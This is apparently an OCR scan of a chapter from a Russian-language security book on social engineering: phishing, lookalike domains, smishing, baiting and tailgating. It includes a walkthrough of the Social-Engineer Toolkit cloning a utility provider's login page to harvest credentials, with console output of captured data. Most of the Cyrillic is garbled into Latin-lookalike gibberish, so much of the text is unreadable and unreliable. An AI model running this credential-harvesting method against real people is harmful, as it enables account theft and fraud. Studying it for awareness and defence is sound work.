MO>kHO BUieTh UT-criennanmctos, KoTopble Ha KOH(MEPEHIINSIX T0JIb3YI0TCS HOYT-
OyKaMU U TIOJKJII0YAIOTCS K KOPIIOPATUBHBIM CETSIM, IIPU 9TOM IPAKTHYECKH HUKTO
13 HUX HE y/IeJIgeT J0JKHOTO BHUMAHUS CBOEN TTPUBATHOCTH.
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IMoanenka npunaieskHocti. OueHb XOpoIno paboTaeT B KPYITHBIX OPraHU3aI[UsX.
B nare Bpemst He mipobaeMa 10cTaTh YHU(GOPMY COTPYAHUKA CIYKOBI TOCTABKH.
Ha ebay dupmennas kyprka komnanun DHL coGoano npogaercs 3a 70 espo. Hu
y KOTO HE BBI30BET MOJI03PEHUST COTPYAHUK CIYKOBI IOCTABKU, KOTOPBIH XOAUT TI0
KaOKUHeTaM U UILET HY;KHOTO Ye/I0BeKa, XOTs TJIaBHOM 3a1a4eil 1Jist Hero OyueT HalTu
He3a0JIOKUPOBAHHY 0 PabOUYIO CTAHIIMIO, OCTABICHHBIN 63 TIPHCMOTPa HOYTOYK MJTH
JIOKYMEHTHBI.

@uumnr (phishing). IMaBhas uaest JaHHOrO METOa — B CO3IAAHMH TIOAEIbHBIX
MUCEM W CAUTOB OPTAHU3ANWHI JIJIsI TOJyYeHUs OCTyIa K MPUBATHON MHGMOP-
MaInm.

Harpumep, 3710yMBIIIIJIEHHUK COCTABJISIET IUCbMO, B KOTOPOM FOBOPUTCS O TOM, YTO
AKKAyHT I0JIb30BaTelisl B cHcTeMe 3a0JIOKMPOBAH U eMy HEOOXOAUMO MepeiTu mo
YKA3aHHOW HUKE CCBhIIKE JIJIsT Pa30IOKMPOBKY. Takie MuchbMa MOTYT PACChLIATHCS
OT UMeHU HAHKOB, IOYTOBBIX 1 UTPOBBIX CEPBUCOB, COIMATBHBIX CETEH.

B mpuBeneHHOM HIKE TPUMEPE MOTH30BATEIIO COOOTIAIOT O TOM, YTO €70 OKH/IAET
MOCHIIKA, ¥ TIPeJIaraioT 3a6pOHIPOBaTh BpeMst JoCTaBKi. B Haie BpeMmsi, Korja
NpaKTHYECKU Bee ucnosb3ytor Aliexpress, Ebay u T. /1., KT0 3a10103puT, 4T0 910 MO-
ket ObITh putnuar (puc. 8.1)? Cropee gaske HAOOOPOT, YETIOBEK 00PALYETCS CKOPOMY
TIOTYIE€HIIO TOJTOKIAHHOTO TOBAPA.

https:/fstorage.googleapis.com/ | | | |
C < .
tancwg4TBeachipi/opyhi . jrmation@mail 691099880088936( | =2 | | 3 Reply | € ReplyAll | = Fouard || -+ |
PWTSE? pickid. 2022, gada 21.04 2259
f2bVHEceSnkdeyzPLedcWSckeBwTCeQsbe
(D) f tl bbbay ‘ayed, click here to view it in a web browser,

Click or tap to follow link.
Uit your code o ack #and regehee il

Package Delivery

You have (1) package waiting for delivery .

Unfortunately we were not able to deliver postal package you orderd because the requested address was not correct.
Schedule a redellvery and subscribe
to our push notifications to ensure this does not happen again!

Thank you

Your-tracking-code:
29184773

Schedule your delivery

Ihe advertiser does not manage your subscnphon.
If you prefer not to receive further communication please unsubscribe here
Cir write to: 6101 Leng Praine Rd, Ste 744 #511, Flowear Mound, TX, 75028

Puc. 8.1. duunmHrosoe nncbMo
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EcTp TexaMKM, KOTOPBIE TO3BOJISIOT CKPBITD OT TIOJTH30BATEJIST PEATTHHOTO TOJTydaTesist
NMCbMa, CKaskeM, YKa3aB B 110J1e Replay-To accounts@google.com, Torjia Kak B 1iosie Sender
OyZeT yKaszaH OTIpaBUTeNb someuser@google.com. OHAKO 110b30BATEN He CKIOHHBI
AHAJIM3WUPOBATh TaKMe IM1MCbMa U YBUJAT TOJIBKO TO, YTO XOUYET COCTaBUTEJIb ITMCbMa.

YacTo B Takue MHCHMa BMECTO CCBITOK TOOABIISIOT TTPUTOKEHNST, 3aPaKeHHbIE BUPY-
com. Ene oiun kilaccnyeckuii mpuMep — MucbMa cyacTbs. B 9ToM ciryyae 110J1b30Ba-
TeJIb TI0Jy4yaeT MICbMO, B KOTOPOM TOBOPUTCS, UTO OTIIPABUTEJb CTaJl HACAEHUKOM
OrPOMHOTO COCTOSIHUS, ¥ YTOOBI MOJYYUTh €ro, HEOOXOAUM TIOPYUUTEN b, KOTOPbIii
mosryaut 40 % OT cyMMBI HACTTENICTBA (& 9TO YTO-TO OKOJIO $5 MITH) B KauecTBe BO3Ha-
rpaskieHust. YToObI CTaTh TTIOPYUYUTEIEM, HEOOXOIMMO BBICIATh OTIPE/IEJIEHHBIE JIaHHBIE.

YacTo Takue nuchbMa He HalleJIeHbl Ha KaKOI'0-TO KOHKPETHOTI'O Y€JI0BEKA. OTKIUK Ha
HUX COCTABJIAET OKOJIO 0,1 %, HO 1 9TOI'O yiKe 6y/:[eT JLOCTATOYHO.

Hemp3st He yIOMAHYTD TTO/IETbHBIE CAlTHL. /laske ecimy Mob30BaTe b OYeHb OIBIT-
HBII YeJIOBEK, TO €r0 Bee PAaBHO MOJKHO 0OMaHyTh. B Hallle BpeMst 3aperucTpiupoBaTh
JIOMEH MO>KHO Ha MTO/ICTABHOTO YesioBeKa U moayunTth SSL-ceprudukar Ha 90 gHeid,
NPAKTUYECKU He TIPOXO/IsT BATH/IAIIMIO.

Jluist iprMepa BosbMeM OGaHK ¢ GoJiee-MeHee IIPUBbIYHbIM HazBaHreMm — Raiffeisen. TTo
npaBuiaM BeeMUpHOH May THHBI 3aperCcTPUPOBaTh ToMeH raiffaisen.com Ham HUKTO
He 3anpeTuT. A GOJIBIIMHCTBO KOHEYHBIX MOJIb30BaTeIeH He 3aMeTAT noaMenbl. Kak
yske ObLIO CKa3aHo, /IS olydeHus TectoBoro SSL-ceprudukara ot comodo Her He-
06XOMMOCTH IPOXOAUTD MPOBEPKY Ha MOATUHHOCTL. OHU IIPOBEPST TOABKO TO, YTO
Y 4eJIOBeKa eCTh JIOCTYTI K IOUTOBOMY SIIIUKY, HAXOSIIEMYCS B 3TOM jloMene. J[aib-
1e — JeJI0 TEXHUKK PA30CaaTh MUChMO MOIb30BATENSAM € MTPOCHOOH 03HAKOMUTHCS
C HOBBIMU NPaBUJIaMK GaHKa, KOTOPBIE HAXOASATCS 110 9TOMY YKa3aHHOMY aJ[pecy.

OzuH U3 IPUMEPOB yIAYHOTO UCTIOJIb30BAHMS (DUIIIMHTA CBSI3aH C XaKePOM 110 MMEHU
Kesun Mutnuk (Kevin Mitnick). Araka 6biia HallesieHa Ha Komnaauio RSA, creru-
AMM3UPYIONIYIOCS Ha pa3padoTKe perennii 17ist nHhOPMAITMOHHOI 6e30TTaCHOCTH.
Hamanenne nauanoch ¢ Toro, uto KeBudn MUTHUK OTIPaBIII (DPUITUHTOBBIE THCbMa
COTPYAHUKAM KOMIIAHUH. B muchMax 3/10yMBIIIJICHHUK BbIaBas cebst 3a COTPYAHU-
Ka TeXHUYECKO MOMepKKK U yOeKIall moJydaTesieil OTKPhITh BIOKEHHBIN (aii,
sTKOOBI coftepskaiuii Baxxuyio wadopmanuio. Maiir coxep:xan Bpenonocuoe 110,
KOTOPOE MO3BOJIIIIO XaKePy MOJYIUTb JOCTYII K KOMIIbIOTEPAM JKEPTB U, KaK CJIe[l-
CTBUE, K KOPIOPAaTUBHOM ceTn RSA.

ITocsie mosyvyenus pocryna k ceTu MUTHUK CMOT HAliTU ¥ TOXUTUTDL UHGMOPMAIUIO
o cucreMe bGesonacuoctu SecurlD, paspaborannoil RSA. 9ta cucrema 1penocTasis-
J1a IBYX(aKTOPHYIO ayTeHTU(DUKAIINIO /7T KITMEHTOB KOMIIAHWY W MCII0JIb30BAJIaCh
MWJJIMOHAMU TI0JIb30BaTes el 110 BceMy MUPY. YCIIEITHbIHN B3JIOM ITPUBEJ K KOMITPO-
METAIIH CUCTEMBI GE30TTACHOCTH 1 Cephe3HOMY yiepOy st permytarni RSA.

CouuaipHast MHKEHEPHUS € UCII0Jb30BaHNEM MOOUJIbHBIX YCTPOICTB. JJaHHbIii
THUI aTAKNU MOKHO ITPOMJLIIOCTPUPOBATh HA TIPUMEPE CO3/IaHMs BPEIOHOCHOTO TIPU-
JIOKEeHUST JIJIsT cMapTgoHa ¢ OUeHb MPUBJIEKATeNbHON (DYHKI[UEN, KOTOpast TIOJTOJI-
KHeT II0JIb30BaTesell K 3arpy3Ke U yCTAHOBKe IIPUJIOKEHUS Ha CBOM yCTPONCTBA.
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Y7066l TOMYJIAPU3UPOBATH TAKOE MPH-
JIOKEHUE, YacTO UCIOIB3YIOTCS UMEHA, € a 9
MOXOJKMe Ha NMeHa TMOTyJSPHBIX MPO-
rpamMm B O(UIMAIBHBIX Mara3uHax Mmpu-
noxennit (puc. 8.2). [Tocse ycranoBK1®
BPEZIOHOCHOTO MPUJIOKEHUS HA YCTPOTi-
CTBO JKEPTBBI OHO CMO’KET U3BJIEYD U OT-
MIPABUTH yUETHBIE TAHHBIE TIOJTH30BATEISI
3JI0yMBITIIEHHUKY. YTO camoe nHTepec-
HOe, MHOT/IA TaKue TTPUIOKEHUS MOTYT
BBITIOJTHSATD 3as1BJIeHHbIE (DYHKITUN.

B KOHTaKTE C Apy3baMu (BrAVE)
Social
43% 24MB [ 100K+ = Firdev

VK Video Feed
Video Players & Editors
31% 6.6MB [ 50K+ * i -Mov

VK Knowledge Electrical
Education
48 M8 [E 10K+ - Education Nick Media

Eie ogna ¢hopma MOOMIIBHOM COLMAIb-
HOUW WHXKeHePUW M3BECTHA KaK «CMU-
MIAHT». JTOT THUII aTaKN 3aKJII0UYAETCS
B oTiipaBke SMS-coobiieHust ¢ Bpeao-
vocubiM URL-anpecom. Hananaromue
MOTYT OTIPaBAATh SMS-coobuienus
CITYYaiHBIM JIIOJISIM, TIPA 9TOM TEKCT Ta-
KOTO COOOIIEHNS OYEHb ITOXO0XK Ha TOT,
KOTOpPbIe 0OBIYHO TPUCHLIAIOT BaM OaHKH.
Coobutenue cogepxut URL, 1 Huuero me
10/IO3PEBAIOIIUI YETIOBEK MOKET HAKATh
Ha BPEZIOHOCHYIO CCBLIKY, KOTOPas puBe-
JIET €TO Ha CIIeINaJIbHO CO3aHHBIN CAllT
¢ ¢hopMoii BBOIA INYHBIX JJAHHBIX.

DonationAlerts Studio
Photography
4.2% T6MBE [E 500K+ * VK.com

Wildberries

Get offers, discounts, and order just
about anything for delivery
48% 35 MB [ 50M+ * Wildberries L...

DonationAlerts
Entartainmant
2.4% 97MB [ 100K+ = VK.com

Yandex Browser with Protect
Personalization * Tools * Browsers
4.6% g4MB [E100M+ * Intertech Se..

HaBnioparene (BKonTakTe)
Social
4.3% 19MB [ 500K+ * Notifications

Tenedouustit pumunr. B naie Bpemst
apromarnyeckue ATC cranu neorbemiie-
MOIi yacTbio cepbr obemyskuBanust. s
YCKOPEHUSI U yIPOIenus: ujaeHTudura- Puc. 8.2. MNpuMep NpunoxeHuii npu
1K MHOTHE GAHKH IIPOCAT CBOMX KJIMEH- nomcke VK yepe3 Google Play Store
TOB UAEHTU(MUIINPOBATHCS 110 TeTedOoHy,

a IMEHHO BBECTH HOMEP KJINEHTA U TTapOJib BO BPeMs OKIIaHUS oTlepaTopa. ATaka
MpU TakoM THIle ayTeHTudukammmu goctatouno npocra. Koudurypupyerca ATC,
KOTOpast (GhUKCUPYET BCe IefiCTBHs M0JIb30BaTels. /laee BceM 0Ih30BaTENSAM Pac-
CHLIAETCST THCHMO € TTPOCKOOT CBA3ATHCST ¢ GAHKOM M0 3apaHee MOATOTOBIEHHOMY
HoMmepy. [Tosb30BaTe b OYIET 3BOHUTD, BBOAUTH CBOU JIaHHbIE, [TOCJIE Y€TO 3BOHOK
Gyner copachiBaThest. KOHEUHO, TIOCIIE OIIPEAETEHHOTO KOJIMYECTBA Pa3 3TO €My Ha-
JIOECT, HO K TOMY BPEMEHU Y aTaKyIOIIero yKe OKayKyTCsI HECKOJIBKO MapoJiell ¢ ero
KapThl I HOMEP MO0JIb30BATEJI.

ITpumanka. IIpu nomorie aToro npriemMa Obliia OCTaHOBJIEHA pabOTa LEJIOro IPEAPH-
ATHUS, BHYTPEHHSS CETh KOTOPOTO HEe MMeJia CBSI3U ¢ BHEITHUM MUPOM. 3JI0YMBIIII-
JIECHHUK OCTaBWJI KPACHUBYIO, TPUBJIEKAIONIYIO BHUMaHWE (JIel-KapTy Ha TTapKOBKe
JUISI COTPYAHUKOB, OIUH M3 KOTOPBIX 3aMeTUJI 1 110100pa ee. EcrecTBeHHO, 9T0 OBLIO
YTPOM, TIepe/] HadaioM pabodero jitst. JIToOOIBITCTBO B3SLIO BEPX, U COTPYAHUK TPSIMO
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Ha paboueM MecTe el IPOBEPUTH ee coaepknMoe. Kak BbI mOHNMaeTe, Ha Hell
ObLIT BUPYC, KOTOPBIN 0YeHb OBICTPO PACITPOCTPAHIIICS IO BHYTPEHHEN CeTH.

IIpoxoa «mapoBosukom» (tailgating). Mcrosnb3yercs st TPOHUKHOBEHUST HA
3amuIeHHbie 00bEKThI. [IPeANoI0KNM, YTO HA TIPEANPUATUN CTOAT TYPHUKETHI
U JIOCTYII OCYLIECTBISIETCS 110 9JIEKTPOHHBIM KapTaM. Ho ecin ybeanTh ogHOTO U3
COTPYTHUKOB B TOM, YTO KapTy BbI IIOTEPJIN, 4 BaM HeO6XOZII/IMO CPOYHO ITIOITaCTh Ha
COBEIAHME, TO AJIEKTPOHHAS CHCTEMA TIPOTTYCTHUT JBYX YEJOBEK CPasy, MPOXOSIITIX
yepes3 TYPHUKET BIUIOTHYIO APYT K APYTY.

da3bl aTaku

ITocMOTpUM Ha KapTUHY B 11e710M. ITOOBI yAYHO IIPOBECTH HAIIETIEHHYIO Ha YeTOBEKa
aTaKy, HeOOXOUMO:

cobpaTh KaK MOKHO 0oJiblie HH(pOPMAIUK O 1IeJIN;

YCTAaHOBUTD JOBEPUTEJIbHBIE OTHOIIEH ;]

MOJIyYUTh MHHOPMAIINIO;

HCIIOJIb30BaThb €ee.

Co6op undopmanuu. NMudopmainio MOKHO cOOUPATh U3 PA3IUYHBIX UCTOUHU-
KOB — KOPIMOPATUBHOTO CaliTa, COIUAIBHBIX ceTeil, GOpyMOB, yOIUKAIUil 1 Jake
U3 Mycopa.

Yrto MOsKeT OBITH TPEKPACHEE, YeM KOTIATHCSI B MyCOPHOM Oake BMeCTe ¢ JIuTiamMu Oe3
OTIPeIETIEHHOTO MecTa JKuTeabeTBa? Ho Ha caMoM Jiesre u3 Kas3agroch Obl HUKOMY He
HY;KHOTO MYCOPa MOXKHO COOPATh I0OCTATOYHOE KOJIMYECTBO MH(DOPMAIIUH JIJIST TIPO-
BeJIEHUs YCIIeIHO# aTaku. JII0u CKIOHHBI BHIOPACHIBATH HEHYSKHbIE BEIH — CUYETa,
cTapble PEIerThl, BRIMUCKU U3 0AaHKOB, (hoTorpaduu, pestoMe U MHOTOE JAPYTOE.
Vcmob3yst 9Tu TaHHbIE, JIETKO ONMPEIENUTh, YeM YeT0BeK O0eeT, y KAKOTo Bpava
JIEUUTCS, TJIe KUBET, eTo MepcoHalbHbIil HoMep Tesedona, (huHaHCOBOE COCTOTHHE
1 MHOTO€ JIpyroe, 4YTO II0TOM MOXKHO MCIIOJIb30BaTh IIPOTUB Hero. VIHoTia nonbITKN
MPOHNKHYTH B CHUCTEMY 3aHUMAIOT He/leJIM BpPeMeHH, a 3a /IeCITh MUHYT y/aeTCs
HalTH B MeIIKe C MyCOPOM JIMCTHK, HA KOTOPOM 3aICaHbI JIOTUH U TIapOJIb.

Il cbopa mHGOpMaIK U3 COLUAIBHBIX CeTell OueHb XOPOILO OJ0NIET paHee pac-
cMoTpeHHbIi nHeTpyMenT Maltego.

YcraHoBJieHHE TOBEPUTEIBHBIX OTHOIIEHHIA. /17151 9TOTO He 00s3aTeIbHO 0OIAThCs
C YeJIOBEKOM Ha MPOTSDKEHUHU HECKOIbKUX JieT. Ha camoMm jiesie Bce MOXKHO c/iesiaTh
B PaMKax O/[HOTO TesiehOHHOTO 3BOHKA. OUYeHb XOPOIIO 9TO JAEMOHCTPUPYET TIPH-
Mep co B3stoMoM AOL. 3/710yMBIIIIEHHUK Pa3rOBapuBall ¢ OMIEPATOPOM CIIYKObI
TeXHUYECKOU MOAIePAKKU 6oubiiie yaca. On YCTaHOBUJI JOBEPUTEJIbHBIE OTHOLIEHUST
C COTPYHUKOM, & 3aTeM YIOMSIHYJI B PA3TOBOPE O TOM, YTO MPOJIAET CBOIO MAIIIHHY.
CoTpyIHUK KOMITAHMH MTPOSIBUJI K HEH HHTEPEC U OMPOCUJI TIPUCIaTh (hotorpadun.
3JI0YMBIIIEHHUK TTPUCAT TPOSTHCKOTO KOHS U TaKUM 00Pa3oM TIOJYIUI JOCTYTI
K BHYTPEHHEU CeTU OpPTaHU3aITI .
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IMonyuyenue ungopmaiuu. Yem GoJibliie 37T0YMBIIIEHHUK MOJYIUT HHOOPMAIUN
OT COTPYAHMKA, TeM ycIeliHee Oy1eT ataka. B oHOM 13 c/lydaeB XaKkep [IO3BOHMUII 110
ob61e0cTyIHOMY TesiehOHY KOMIAHWK U, IPEACTABUBIINCH HOBBIM COTPY/IHIKOM,
notpocust TesieoH cayKObI TEXHUIECKOH ToIepsKKU. [I03BOHUB BO BHYTPEHHIOIO
cityK0y, OH, KaK HOBbII COTPYAHUK, y3HaJ KOHTaKThI upekTopa Y T-oraena, SKoOb
JUUTST COTJIACOBAHUS TTOJIKTIOYEHUS K JIOKAJTbHOW CEeTH.

Wcropust niaBHO miepeniia B (hasy jieiicTBrst. 3J0YMbBIILIEHHUK TO3BOHUT B CJIYKOY
TEXHUYECKOU TOEPIKKHU U MIPEACTABUIICS HOBBIM COTPYAHUKOM, KOTOPOTO TOJIbKO
HeJIaBHO MIPUHSLIN Ha PabOTy U KOTOPOMY €llle He YCIIeJIH CIeIaTh AKKayHT U BbIIATh
KoMIbioTep. OH COOOIIINI, UTO Y3Ke CErofiHsT, OYKBAIBHO Uepe3 nmapy MUHYT, eMy HE0O-
XOJIMMO BBICTYIIHTh € TIPE3EHTAIIHel epe/l HaualbHuKaMu oT/es10B. [TpoGiiemMa B ToM,
YTO OH HE MOKET BOITHU B CHCTEMY, XOTSI TOJIBKO YTO OH PA3TOBAPHBAJ C HAUATbHIKOM
NT-ornena (Ha3piBaeT UMsI) U YCTHO COTJIACOBAJ CO3/[aHUE BPEMEHHOU y4eTHOH
sarmcu. COTPYAHUK CIysKOBI TEXHUYECKOM TTOUIEPIKKI OYE€Hb XOTeJIa TOMOYb HOBOMY
COTPY/IHUKY, BEJIb TIOCTOPOHHUE HE 3BOHSIT BO BHYTPEHHIOK CIIYKOY, 1a 1 caM HadaIb-
Huk UT-otaemna Bpozie Kak man corsacue. B pesysbrate 3J10yMBITITIEHHUK TOTYIUIT
JIOCTYTI BO BHYTPEHHIOIO CETh, He MIPUGErast K MCIIOJb30BAHUIO TEXHUUECKIX HABBIKOB.

Social-Engineer Toolkit

Ha6op s cormanbhoit uaskenepun (Social-Engineer Toolkit, SET) — ato yruiuTa,
cospantas Jasugom Kennenn (David Kennedy), ocHosaresem TrustedSec. JlaHHbrii
UHCTPYMEHT, HanucaHHbiii Ha Python, Bxoxut B cocras Kali Linux u opueHTHpOBaH
Ha IMOMOIIIb B OCYIIECTBJIEHUH aTakK M0 TUITY COIUATHHON MHIKEHEPUH.

OcHOBHBIE QYHKIINU 3TOH YTUIHUTBL

e cuydunr (Spoofing): 1103B0JIsIET CO31aBATh [O//Ie/IbHbIE BeO-CTPAHUI[bI, KOTOPbIE
MIPY HEKOTOPOM CTAaPAHUU BBITJISA/ST KaK HACTOSIIIE. Yalle BCeTo X UCTIONb3YIOT
Ui 0OOMaHa ToJIb30BaTe e, ¢ 1eJI0 TTOMYYUTh UX MapOJI WK 3aCTaBUTh 3ally-
ctuth BpenoHocHoe [10;

o ¢ummunr (Phishing): Broyaer wHCTPYMEHTBI 7151 TPOBeeHUsT (DUTTUHTOBBIX
aTaK, B TOM YKCJIE CO3/IaHKe MO/IETbHBIX 3JIEKTPOHHDIX MUCEM U BeO-CTPAHUIL;

® BpezioHOCHBIE (haiiael: co3maet BpenoHocHoe 1O (ncnosmusempre daiinbr, PDF-
JIOKYMEHTHI U T. JI.), KOTOPOE 3aTeM MOKeT ObITh MCIIOJb30BAHO JJIs aTaKy Ha
enesble 1C;

e pacmnpocrpanenue yepe3 USB: BkitouaeT B ce6s1 MHCTPYMEHTBI JIJIST CO3/IaHUST
BpenoHoCcHBIX USB-(uietiek, KOTOpbie MOTYT ObITh UCTIOJB30BAHBI JIJIST aTaKU HA
CUCTEMBI KaK B OTTMCAHHOM BBIIIIE CJIyYae;

e SMS-araku: oberdaer cosjaHue u OCYIIECTBICHNE aTaK C UCII0Ab30BAHUEM 10/~
JebHBIX SMS-coo01eHnil.

PaCCMOTpI/IM IIPUMEPDBI TOTO, KaK MOJKHO HCIIOJIb30BAaTh 9Ty YTUJ/IUTY B pea]IbHOfI
JKN3HMU.
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Co3gaHue nogaenbHoOro camTa

WTax, BBI pemmim HauaTh CBOTO aTaKy Ha MPEATTPUSITHE ITyTeM PACCHIIIKHI (PUIITIHTO-
BBIX [IMCEM — OTJIMYHO, XOPOIIUi BoIOOP. Terepb He0OX0UMO OIIPEIEJUTHC C TEM,
yro Gyaer BHyTpH muchbMa. Camble TOTyJIsIpHbIe BApHaHThl — BpemoHocHoe 110 uin
CChLIKa Ha MOAe/bHbII caiit. [Ipemmaraio BeiOparh BTOpoe. Ecin Bbl CTONKHETECH
C XOPOIIIO OPraHU30BAHHON 3aIUTON, KOT/Ia TTUChbMA TTPOBEPSIIOTCS HECKOJbKUMU
AHTUBUMPYCAMU U JJAsKe «4UCTbIe» (hailjibl OJIOKUPYIOTCS TOJIBKO U3-32 UX PacCIIUpe-
HUSI, TO BaIlM TMAHCHI HA YCITEX B IEPBOM CJTydae pe3Ko CHU3STCSI.

Jasee HeOOXOAMMO OIIPEEIUTHCS C CAITOM, KOTOPBII MbI XOTUM HOAAEIaTh. B mpuH-
LI1IIE, B 9TOM BOIIPOCE TBOPYECKUIT IIPOCTOP MPAKTUYECKK Oe3rpaHideH, HO JaBaiiTe
OCTAHOBMMCSI Ha BITOJIHE TIPU3EMJIEHHOM BapUaHTE MOCTABIIMKA KOMMYHAJbHBIX
ycayT. Bee jke oI1aunBaioT cyeTa 3a Topsuyio BOJLY, BEPHO?

Teneps npucrynum k padore ¢ SET. 3amyctuts ero (puc. 8.3) MoKHO 1160 U3 T0JIb-
30BaTEJIbCKOTO MEHIO, JTO0 U3 KOHCOJIU CIIEAYIOIIEl KOMAH/IOM:

$sudo setoolkit

E Itsechookitkall: ~ - a e
File Actions Edit View Hclp

The Social-Engineer Toolkit is a product of TrustedSec.

visit: https://wes.trustedsec.com

Select from Lhe menu:

1) Sucial-Fngineering Allacks

2) Penetration Testing (Fast Track)
3) Third Party modules

4) Update the Social Cngineer Toolkit
5) update SEl configuration

6} Help, Credits, and About

99) Fxil the Social-Fogineer Toolkil

Puc. 8.3. lMNep.bili 3anyck SET
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BoiGupaem nepseiii myHKT Social-Engineering Attacks (ataku 1Mo THITY COIHAIbHOM
umkerepun ). Heo6Xoanmo ykasaTh, 4TO Mbl XOTHM OCYILECTBUTD aTaKy IIPH IOMO-
mu Beb-caiita, 1151 9TOTO BhIOEpeM IIYHKT website attack vector. [lasee HaumHaeTcst
camoe uHTepecHoe. Ham HeoOX0AMMO €CO3/1aTh TOYHYIO KOIIMIO CTPAHMIIbI, IOMHUTE
(puc. 8.4)? D10 MOXKHO cliesiaTh U BpyUHYIO, HO y Hac ectb SET.

® Bxoygy o ivanaid kalsner X 4 - = S
“« =2 O m 0 8 hips ik kvartplatacinfoll KHome!Logind iy = al =
"3 KaliLinux @ Kali Tools [ Kali Docs N Kali Forums ¥ Kali NetHunter = ExploitDE = Google Hacking DB L OffSee »

Bxon B NnUYHbI KabUHeT

Ing Toro, yToful BoATH B NMYHLIA KAGHHET YKAMHTE 20, NOYTY W NAPoNL

Appec 3NeKTPOHHOMA NouThl © .

BBeAHTE CUMBONGI C KAPTHHKH:

Hpyran KapTuHka

Safisinu napons?

PerveTpaumna

Ann woppextron padors Miramro ke p pinyacp Google Chrom: uepcii.

Puc. 8.4. OpurvHanbHbIi CalT NocTaBLUMKa YCIyr

Tenepp Ham HeoOxoMMO TiporHCTpyKTHpoBaTh SET. OH clietaet Bee cam: KJIOHUPYET
cailiT, 3aIyCTUT HEOOXOAUMBIII CEPBHUC U HAYHET COOUPATH JIOTHHBI 1 TTAPOJIH, BaM
OCTAHETCS TOJIBKO CHUMATD CIMBKH. [IpOIeMOHCTPUPOBAHHBIN METO/I, KOHEYHO JKe,
Tpusmasen, Boamoknoct SET ropasio mmvpe, HO 1 3TOTO yike OYIET J0CTATOYHO,
4TOGBI BHIZBATH Y YUTATEJISA UHTEPEC K ITOMY TIPOLYKTY.

[lasee MBI yKa3biBaeM, UTO XOTUM OCYIIECTBUTD 3aXBaT JAHHBIX TTOJIb30BATEJI, 5T
storo Bbibepem Credential harvesting attack method u T0, 4TO XOTUM KJIOHUPOBAThH
caiit, — site cloner.
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[Tocne aroro SET nauner nefictBoBath. /{11 Havama on monpocut ykasarts [P-aznpec,
Ha KOTOPOM OyzieT «ciyiaTh»> Tpaduk. [ToCKoNbKY Bee AeficTBUI Mbl IIPOBOAMM
B HUKOMY, KPOMe€ Hac, He JJOCTYITHON JIJabopaTOpH, OCTaBUM JIOKa/IbHBIN azpec. Ecin
GBI HTO ITPOUCXOJIUIIO B peasibHOi k13U, To SET 6b11 ObI 3aITyIeH Ha BUPTYaTbHOM
cepBepe 1 MbI bl YKa3aJii PEAJIbHbII aJ[PeC 3TOTO CEPBEPA.

3arem Hac mompocaT npexocTaBuTh URL cTpaHUIIBI, KOTOPYIO MBI XOTHM KJIOHHPO-
BaTh. BBOZMM €ro, ¥ TYT POMCXOANT HeuTo Marndeckoe. [IpoGyem 3aiiTu mo ajgpecy
localhost, mopr 80 (puc. 8.5).

& Bxop B AMYHBIA kaSuHeT - x| @ DBxog B AMMHBIE kabuneT - x|+ - =] "
« 3> C @ O O localhost & v ¢ =
"3 Kali Linux @ Kkali Tools  [@ Kali Docs N, Kali Forums 38 Kali MotHunter = ExploitDB = Google Hacking DB | OfiSce b

BxoA B NUYHbI KAOBUHET

Jins Toro, 4106 BOATH B NHHHER KEGAHET YRAMWTE 30, NOHTY W NBRONG

Appec aneKTPOHHOR NOYTL itsecbook@nic.ru .

Napont " LTI T 'y

BOEAMTE CHMBONG! C KAPTHHKW:
ssdfadt

Npyran KEpTHHKS

Babuinn napons? m

Pernctpaumnn

[inA koppesTHOM patiomst JmHoro kaduHeTa p | paysap Google Chrome Bepomi.

Puc. 8.5. KNoHMpoBaHHbI canT

Terreps BBezieM JToTHH 1 Taposib. CMOTPUTE, YTO ITPOMCXOIUT JAJIbIIle: TOCIIE OTIPAB-
KU IAHHBIX KJIMEHT [ePEeHaNPaBIIsieTcsl Ha CTPAHUILY PEATbHOTO ITOCTABIUKA YCIIYT,
a MbI BUJIUM B KOHCOJIU TAHHBIE, KOTOPBIE BBEJI TI0JIb30BaTENb (puc. 8.6).

Termeps, Korja y HaC eCTh TAKOW YyJAECHBIN cailiT, HEOOXOANMO paccKasaTh O HEM
noJsibsoBaresisiM. st aToro cosaaauM GUIIHHTOBOE HChbMO U 100aBuM Tyga URL
Haleil HOBOW CTPaHUYKHU.
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BN isecoookkan: - - o =
File Actions Edit View Help
to a report

— & TMPORTANT & READ THTIS BREFORE ENTERTNG TN THE TP ADDRESS & TMPORTANT & —

. If the F'uST fu.ale are not u;ual methods Fr ting forms !.Iu:
ild fail. Tf it does, you can alw: the HTML ite the forms to
be standard foerms and use the "IMPORT" ature. Additionally, really
important:

If you are using an EXTERNAL TP ;'al':-l'!RFS‘a, you need to place the FETFRNM
1P address below, not your NAT address. Additionally, if you don®
xing concepts, and you h;ue a private IP address,
to your NAT IP add s f
ser doesns’t i
address, so if you den't specify an ernal IP anoress if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

1P address for the POST back in Harvester/Tabnabbing [192.185.91.
:‘T supports both HTTP and HTTPS

http:// v . thisisafakesite.com
> Enter the url to clone:https://lk.kvartplata.info/LK/Home/Login/

3.91.128 - - [18/May/2023 05:57:40] “POST /Login HTTPR/1.1% 382 -

Puc. 8.6. KoHconb SET ¢ nony4eHHbIMU AaHHbIMK

Co3faHue PULWNHIOBbLIX NMUCEM

[lepen cozmanneM Takoro MUCbMa HaM Ha/I0 PENTUTh HECKOIBKO BOTIPOcoB. /L Ha-
Yasa CIeyeT MoJyMaTh O TOM, Yepe3 KaKie CepBepPhI BbI Oy/IeTe OTIPABISATD TAKYIO
nouty. HactosTensHo He peKOMeH/yeTcs /ieslaTh Bee ¢ Ballero OCHOBHOTO KOMIIBIO-
Tepa, Beb ecsin [P 3a6JI0KMPYIOT, TO 9TO BBI3OBET Y BAC HEKOTOPbIE TPYAHOCTH. JInbo
UCIIONTB3YHTe GeCIIaTHbie CePBEPBI (XOTsI OHU BCET/IA BRI3BIBAIOT MEHBIITE IOBEPUST),
60 KymuTe HecKoIbko VPS.

ABTOp BBICTYIIaeT 3a BTOpOii BapuanT. Crenuanuctel, padotaionie B obmactu 1B,
MOJIYYalOT 0CTATOYHO XOPOIIUE JICHBIM, YTOOBI CUUTATH AOCOMIOTHO HOPMAJIBHOI
MOKYTIKY CEPBEPOB, C KOTOPIX OY/IYT MTPOBOANUTHCS ATAKH, U APYTOTO 060PYIOBAHN,
a TAK’Ke TI0KEPTBOBAHUS [TPOEKTAM C OTKPBITBIM KOIoM. CorylacuTech, Kax1oMy pas-
